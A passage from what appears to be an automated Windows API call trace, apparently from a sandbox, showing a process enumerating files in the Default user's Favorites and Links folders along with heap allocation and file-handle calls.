lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.964] NtClose (Handle=0x178) returned 0x0 [0092.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd3f0 [0092.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.965] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.966] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.966] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="")) returned 1 [0092.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f97d8 [0092.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd940 [0092.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.969] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="")) returned 1 [0092.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ff30 [0092.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd3f0) returned 1 [0092.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f97f8 [0092.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370770 [0092.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="")) returned 1 [0092.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9818 [0092.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd3f0 [0092.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.973] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 1 [0092.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9838 [0092.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd9c8 [0092.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.975] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 0 [0092.975] GetLastError () returned 0x12 [0092.975] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0092.975] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="")) returned 1 [0092.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="")) returned 1 [0092.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="")) returned 1 [0092.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 1 [0092.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 0 [0092.976] GetLastError () returned 0x12 [0092.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.976] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ff30) returned 1 [0092.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.977] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 0 [0092.977] GetLastError () returned 0x12 [0092.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.978] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.978] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0092.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.979] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links" (normalized: "c:\\users\\default\\links"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.979] CreateFileW (lpFileName="C:\\Users\\Default\\Links" (normalized: "c:\\users\\default\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.979] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.979] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.980] NtClose (Handle=0x184) returned 0x0 [0092.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.981] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.982] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.983] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9858 [0092.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.985] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0092.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9878 [0092.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.987] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="")) returned 1 [0092.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9898 [0092.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fda50 [0092.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.989] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 1 [0092.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f98b8 [0092.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdad8 [0092.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9f80) returned 0x1386570 [0092.991] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 0 [0092.991] GetLastError () returned 0x12 [0092.991] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0092.991] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0092.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="")) returned 1 [0092.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 1 [0092.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 0 [0092.992] GetLastError () returned 0x12 [0092.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.992] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.993] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="")) returned 1 [0092.993] RtlAllocateHeap 